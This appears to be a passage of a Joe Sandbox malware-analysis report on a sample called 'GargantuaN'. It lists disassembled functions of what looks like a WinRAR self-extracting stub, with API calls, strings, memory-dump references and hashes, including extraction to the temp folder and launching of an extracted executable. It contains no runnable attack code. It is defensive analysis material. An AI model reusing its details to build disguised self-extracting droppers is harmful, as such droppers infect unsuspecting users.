Part of subcall function 00D6D4D4: GetDlgItem.USER32(00000068,00DAFCB8), ref: 00D6D4E8
Part of subcall function 00D6D4D4: ShowWindow.USER32(00000000,00000005,?,?,?,00D6AF07,00000001,?,?,00D6B7B9,00D8506C,00DAFCB8,00DAFCB8,00001000,00000000,00000000), ref: 00D6D510
Part of subcall function 00D6D4D4: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00D6D51B
Part of subcall function 00D6D4D4: SendMessageW.USER32(00000000,000000C2,00000000,00D835F4), ref: 00D6D529
Part of subcall function 00D6D4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00D6D53F
Part of subcall function 00D6D4D4: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00D6D559
Part of subcall function 00D6D4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00D6D59D
Part of subcall function 00D6D4D4: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00D6D5AB
Part of subcall function 00D6D4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00D6D5BA
Part of subcall function 00D6D4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00D6D5E1
Part of subcall function 00D6D4D4: SendMessageW.USER32(00000000,000000C2,00000000,00D843F4), ref: 00D6D5F0

GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 00D6BA68
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 00D6BA90
GetTickCount.KERNEL32 ref: 00D6BAAE
_swprintf.LIBCMT ref: 00D6BAC2
GetLastError.KERNEL32(?,00000011), ref: 00D6BAF4
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 00D6BB43
_swprintf.LIBCMT ref: 00D6BB7C
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007104,winrarsfxmappingfile.tmp), ref: 00D6BBD0
GetCommandLineW.KERNEL32 ref: 00D6BBEA
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?), ref: 00D6BC47
ShellExecuteExW.SHELL32(0000003C), ref: 00D6BC6F
Sleep.KERNEL32(00000064), ref: 00D6BCB9
UnmapViewOfFile.KERNEL32(?,?,0000430C,?,00000080), ref: 00D6BCE2
CloseHandle.KERNEL32(00000000), ref: 00D6BCEB
_swprintf.LIBCMT ref: 00D6BD1E
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00D6BD7D
SetDlgItemTextW.USER32(?,00000065,00D835F4), ref: 00D6BD94
GetDlgItem.USER32(?,00000065), ref: 00D6BD9D
GetWindowLongW.USER32(00000000,000000F0), ref: 00D6BDAC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00D6BDBB
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00D6BE68
_wcslen.LIBCMT ref: 00D6BEBE
_swprintf.LIBCMT ref: 00D6BEE8
SendMessageW.USER32(?,00000080,00000001,?), ref: 00D6BF32
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 00D6BF4C
GetDlgItem.USER32(?,00000068), ref: 00D6BF55
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 00D6BF6B
GetDlgItem.USER32(?,00000066), ref: 00D6BF85
SetWindowTextW.USER32(00000000,00D9A472), ref: 00D6BFA7
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 00D6C007
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00D6C01A
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001B5C0,00000000,?), ref: 00D6C0BD
EnableWindow.USER32(00000000,00000000), ref: 00D6C197
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 00D6C1D9

Part of subcall function 00D6C73F: __EH_prolog.LIBCMT ref: 00D6C744

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00D6C1FD

Strings

-el -s2 "-d%s" "-sp%s", xrefs: 00D6BB6B
STARTDLG, xrefs: 00D6B801
%s, xrefs: 00D6BED8
__tmp_rar_sfx_access_check_%u, xrefs: 00D6BAB5
<, xrefs: 00D6BB84
C:\Users\user\AppData\Local\Temp, xrefs: 00D6BBC9
@, xrefs: 00D6BB91
"%s"%s, xrefs: 00D6BD0D
winrarsfxmappingfile.tmp, xrefs: 00D6BBA6
LICENSEDLG, xrefs: 00D6C0B2

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Message$ItemSend$Text$Window$_swprintf$File$DialogErrorLast$H_prologLongView_wcslen$CloseCommandCountCreateDispatchEnableExecuteFocusHandleLineMappingModuleNameParamShellShowSleepTickTranslateUnmap__vswprintf_c_l
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\AppData\Local\Temp$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 581453772-4182265032
Opcode ID: fa929afb282410262b1eacd1ddfa0a48af387cf6e5eb2a8a5de761e4d176fa75
Instruction ID: fd13e4dbd26d81c340c5a47eb4e28eb3d6a512208c4cfe63ba21d962f88e4fc9
Opcode Fuzzy Hash: fa929afb282410262b1eacd1ddfa0a48af387cf6e5eb2a8a5de761e4d176fa75
Instruction Fuzzy Hash: D842E671944344BFEB21ABB49C4AFBE7B6CEB02710F040156F944E62D2CB759A48DB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D60863 Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 00D6087C
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00D6088E
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00D608BF
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00D60B69
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D60B83
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00D60B93
ReadFile.KERNEL32(00000000,?,00007FFE,00D83C7C,00000000), ref: 00D60BB1
CloseHandle.KERNEL32(00000000), ref: 00D60C09
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00D60C1E
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,00D83C7C,?,00000000,?,00000800), ref: 00D60C72
GetFileAttributesW.KERNELBASE(?,?,00D83C7C,00000800,?,00000000,?,00000800), ref: 00D60C9C
GetFileAttributesW.KERNEL32(?,?,00D83D44,00000800), ref: 00D60CD8

Part of subcall function 00D6081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00D60836
Part of subcall function 00D6081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00D5F2D8,Crypt32.dll,00000000,00D5F35C,?,?,00D5F33E,?,?,?), ref: 00D60858

_swprintf.LIBCMT ref: 00D60D4A
_swprintf.LIBCMT ref: 00D60D96

Part of subcall function 00D54092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D540A5

AllocConsole.KERNEL32 ref: 00D60D9E
GetCurrentProcessId.KERNEL32 ref: 00D60DA8
AttachConsole.KERNEL32(00000000), ref: 00D60DAF
_wcslen.LIBCMT ref: 00D60DC4
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00D60DD5
WriteConsoleW.KERNEL32(00000000), ref: 00D60DDC
Sleep.KERNEL32(00002710), ref: 00D60DE7
FreeConsole.KERNEL32 ref: 00D60DED
ExitProcess.KERNEL32 ref: 00D60DF5

Strings

SetDefaultDllDirectories, xrefs: 00D608B9
dwmapi.dll, xrefs: 00D60927, 00D60D0D
kernel32, xrefs: 00D60873
DXGIDebug.dll, xrefs: 00D608FC, 00D60C5E
SetDllDirectoryW, xrefs: 00D60888
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00D60D84
uxtheme.dll, xrefs: 00D60D17

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1207345701-3298887752
Opcode ID: a8af184c5c53166389e531a5625aacdbd680d3d48c7a8203369c2db2a33e55e6
Instruction ID: b158e382cf9e52d4bd159380532b02865d08c05c2113f0e8df9f435a87b67d4d
Opcode Fuzzy Hash: a8af184c5c53166389e531a5625aacdbd680d3d48c7a8203369c2db2a33e55e6
Instruction Fuzzy Hash: 3AD14DB1008385AFD721AF54C849B9FBBE8FF85B04F51491DF68996350DBB08648CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00D6C73F Relevance: 47.7, APIs: 23, Strings: 4, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00D6C744

Part of subcall function 00D6B314: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00D6B3FB

_wcslen.LIBCMT ref: 00D6CA0A
_wcslen.LIBCMT ref: 00D6CA13
SetWindowTextW.USER32(?,?), ref: 00D6CA71
_wcslen.LIBCMT ref: 00D6CAB3
_wcsrchr.LIBVCRUNTIME ref: 00D6CBFB
GetDlgItem.USER32(?,00000066), ref: 00D6CC36
SetWindowTextW.USER32(00000000,?), ref: 00D6CC46
SendMessageW.USER32(00000000,00000143,00000000,00D9A472), ref: 00D6CC54
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00D6CC7F

Strings

%s.%d.tmp, xrefs: 00D6C940
<br>, xrefs: 00D6C9D4
Software\Microsoft\Windows\CurrentVersion, xrefs: 00D6CB1A
ProgramFilesDir, xrefs: 00D6CB45

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 2804936435-312220925
Opcode ID: 7ea24b152318fe5ded822a03b10de3d58b322b72e68e3531baec4df676f384b2
Instruction ID: 6e70748a79b6dea4ae771b1cccee7ce3e5db73811307c7f4784e8e6634596084
Opcode Fuzzy Hash: 7ea24b152318fe5ded822a03b10de3d58b322b72e68e3531baec4df676f384b2
Instruction Fuzzy Hash: D3E14272900218ABDF24DBA4DC85DEE73BCEB05350F4485A6FA49E7140EB749E849F70

Uniqueness

Uniqueness Score: -1.00%

Function 00D5DA67 Relevance: 23.4, APIs: 4, Strings: 9, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D5DA70
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00D5DAAC

Part of subcall function 00D5C29A: _wcslen.LIBCMT ref: 00D5C2A2

Part of subcall function 00D605DA: _wcslen.LIBCMT ref: 00D605E0

Part of subcall function 00D61B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00D5BAE9,00000000,?,?,?,0002047E), ref: 00D61BA0

_wcslen.LIBCMT ref: 00D5DDE9
__fprintf_l.LIBCMT ref: 00D5DF1C

Strings

$%s:, xrefs: 00D5DEFF
*messages***, xrefs: 00D5DBC1
,, xrefs: 00D5DF57
R, xrefs: 00D5DC0C
a, xrefs: 00D5DC16
, xrefs: 00D5DD6C
@%s:, xrefs: 00D5DF06, 00D5DF12
*messages***, xrefs: 00D5DBFA
RTL, xrefs: 00D5DEDE

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 566448164-801612888
Opcode ID: 7a307d7935db588c51eb02cc1ad3929dc14b9f7f86e44e6269ba22d595598e17
Instruction ID: a4458d8177f7e13e70b4d05bca24d8e7d595ddbe2a33dfbb609b58250aa1a552
Opcode Fuzzy Hash: 7a307d7935db588c51eb02cc1ad3929dc14b9f7f86e44e6269ba22d595598e17
Instruction Fuzzy Hash: 2D32C2719002189BCF28EF68C841AEE77A5FF14701F44455AFD4A97281EBB1DE89CB74

Uniqueness

Uniqueness Score: -1.00%

Function 00D6D4D4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D6B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00D6B579
Part of subcall function 00D6B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00D6B58A
Part of subcall function 00D6B568: IsDialogMessageW.USER32(0002047E,?), ref: 00D6B59E
Part of subcall function 00D6B568: TranslateMessage.USER32(?), ref: 00D6B5AC
Part of subcall function 00D6B568: DispatchMessageW.USER32(?), ref: 00D6B5B6

GetDlgItem.USER32(00000068,00DAFCB8), ref: 00D6D4E8
ShowWindow.USER32(00000000,00000005,?,?,?,00D6AF07,00000001,?,?,00D6B7B9,00D8506C,00DAFCB8,00DAFCB8,00001000,00000000,00000000), ref: 00D6D510
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00D6D51B
SendMessageW.USER32(00000000,000000C2,00000000,00D835F4), ref: 00D6D529
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00D6D53F
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00D6D559
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00D6D59D
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00D6D5AB
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00D6D5BA
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00D6D5E1
SendMessageW.USER32(00000000,000000C2,00000000,00D843F4), ref: 00D6D5F0

Strings

\, xrefs: 00D6D549

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
String ID: \
API String ID: 3569833718-2967466578
Opcode ID: 32b62bf12331ad747bde6f388ccf4ab248c727503f7b5ac4bcd1cf09bb5a5d99
Instruction ID: d33bfa5cb058262f6b8bb55b4ed53a9564f1d41b960baace12fa8685cc7c3930
Opcode Fuzzy Hash: 32b62bf12331ad747bde6f388ccf4ab248c727503f7b5ac4bcd1cf09bb5a5d99
Instruction Fuzzy Hash: FE31D371545342EFD301EF20EC4AFAB7FACEF86704F000609F551D6290DB648A089B76

Uniqueness

Uniqueness Score: -1.00%

Function 00D6A6C2 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00D6B73D,00000066), ref: 00D6A6D5
SizeofResource.KERNEL32(00000000,?,?,?,00D6B73D,00000066), ref: 00D6A6EC
LoadResource.KERNEL32(00000000,?,?,?,00D6B73D,00000066), ref: 00D6A703
LockResource.KERNEL32(00000000,?,?,?,00D6B73D,00000066), ref: 00D6A712
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00D6B73D,00000066), ref: 00D6A72D
GlobalLock.KERNEL32(00000000,?,?,?,?,?,00D6B73D,00000066), ref: 00D6A73E
GlobalUnlock.KERNEL32(00000000), ref: 00D6A7C6

Part of subcall function 00D6A626: GdipAlloc.GDIPLUS(00000010), ref: 00D6A62C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00D6A7A7
GlobalFree.KERNEL32(00000000), ref: 00D6A7CD

Strings

PNG, xrefs: 00D6A6C6

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: GlobalResource$AllocGdipLock$BitmapCreateFindFreeFromLoadSizeofUnlock
String ID: PNG
API String ID: 541704414-364855578
Opcode ID: 303deaee58e10d1b8502a703de4b47bacc1e7f922483fe05d5575d52c3bfea41
Instruction ID: 2e0ba3b364504e95ab2b8f9890a0e7e581dbf4c8ff3ff4b29150ff14182bdd7e
Opcode Fuzzy Hash: 303deaee58e10d1b8502a703de4b47bacc1e7f922483fe05d5575d52c3bfea41
Instruction Fuzzy Hash: 63314F75600702AFD7109F25EC89D1BBBADEF84B51B040919F849D2761EB31D9489FB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D6D78F Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcslen.LIBCMT ref: 00D6D7AE
ShellExecuteExW.SHELL32(?), ref: 00D6D8DE
ShowWindow.USER32(?,00000000), ref: 00D6D91D
GetExitCodeProcess.KERNEL32(?,?), ref: 00D6D959
CloseHandle.KERNEL32(?), ref: 00D6D97F
ShowWindow.USER32(?,00000001), ref: 00D6D9E1

Strings

.inf, xrefs: 00D6D89A
.exe, xrefs: 00D6D989

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ShowWindow$CloseCodeExecuteExitHandleProcessShell_wcslen
String ID: .exe$.inf
API String ID: 36480843-3750412487
Opcode ID: 1a07afdf489b6bde8023d8a59bbb8a29a2c3dbb0afc060742f58485ce0ae53cb
Instruction ID: 60af8ab9d99c9aa3f090247c3f126a78c04406f187e769e231f179f5f3f3d711
Opcode Fuzzy Hash: 1a07afdf489b6bde8023d8a59bbb8a29a2c3dbb0afc060742f58485ce0ae53cb
Instruction Fuzzy Hash: 9751C471A043809BDB319F64B844BABBBE6EF46744F08081EF9C5D7291D7718A48DB72

Uniqueness

Uniqueness Score: -1.00%

Function 00D7A95B Relevance: 9.2, APIs: 6, Instructions: 216
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00D75695,00D75695,?,?,?,00D7ABAC,00000001,00000001,2DE85006), ref: 00D7A9B5
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00D7ABAC,00000001,00000001,2DE85006,?,?,?), ref: 00D7AA3B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,2DE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00D7AB35
__freea.LIBCMT ref: 00D7AB42

Part of subcall function 00D78E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00D7CA2C,00000000,?,00D76CBE,?,00000008,?,00D791E0,?,?,?), ref: 00D78E38

__freea.LIBCMT ref: 00D7AB4B
__freea.LIBCMT ref: 00D7AB70

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: fb0bd9a9716a0707b8a0cb24558fd8f0e47f211c8d9790c6357e1d016ac5f338
Instruction ID: 4c1ff594c378c6d400eb69ec57b114b3371a3180254dbc1d893fb13084069312
Opcode Fuzzy Hash: fb0bd9a9716a0707b8a0cb24558fd8f0e47f211c8d9790c6357e1d016ac5f338
Instruction Fuzzy Hash: 96519372610216ABDB258E68CC45EBFB7AAEB84750B298629FC08D6140FB34DC50D7B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D73B72 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00D73C35,?,?,00DB2088,00000000,?,00D73D60,00000004,InitializeCriticalSectionEx,00D86394,InitializeCriticalSectionEx,00000000), ref: 00D73C03

Strings

api-ms-, xrefs: 00D73BC3

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: ba28ce8a9395a823418c9fb06351ca69b916ee8b1efc01942c553c1e96a47efa
Instruction ID: b90764adbd92021bfcbf33b73f66ccac5dffbc413c3ca11255474b53ed520732
Opcode Fuzzy Hash: ba28ce8a9395a823418c9fb06351ca69b916ee8b1efc01942c553c1e96a47efa
Instruction Fuzzy Hash: 6B11C632A45721ABCB229B68DC41B5937A49F01B70F294251E95DFB290F770EF0097F5

Uniqueness

Uniqueness Score: -1.00%

Function 00D6AC16 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D6081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00D60836
Part of subcall function 00D6081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00D5F2D8,Crypt32.dll,00000000,00D5F35C,?,?,00D5F33E,?,?,?), ref: 00D60858

OleInitialize.OLE32(00000000), ref: 00D6AC2F
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00D6AC66
SHGetMalloc.SHELL32(00D98438), ref: 00D6AC70

Strings

3To, xrefs: 00D6AC47
riched20.dll, xrefs: 00D6AC1E

Memory Dump Source

Source File: 00000001.00000002.1645005808.0000000000D51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00D50000, based on PE: true

Associated: 00000001.00000002.1644982121.0000000000D50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000D95000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645065632.0000000000DB2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1645133407.0000000000DB3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_d50000_GargantuaN.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3To
API String ID: 3498096277-2168385784
Opcode ID: 962f5327143ef5ec107cb2465077bae539534287b039948d4d2f13a9504a2c9b
Instruction ID: aec576bd5b6013696894344b706053ef8bafcde9e0558be666c64cc9dbed5dfd
Opcode Fuzzy Hash: 962f5327143ef5ec107cb2465077bae539534287b039948d4d2f13a9504a2c9b
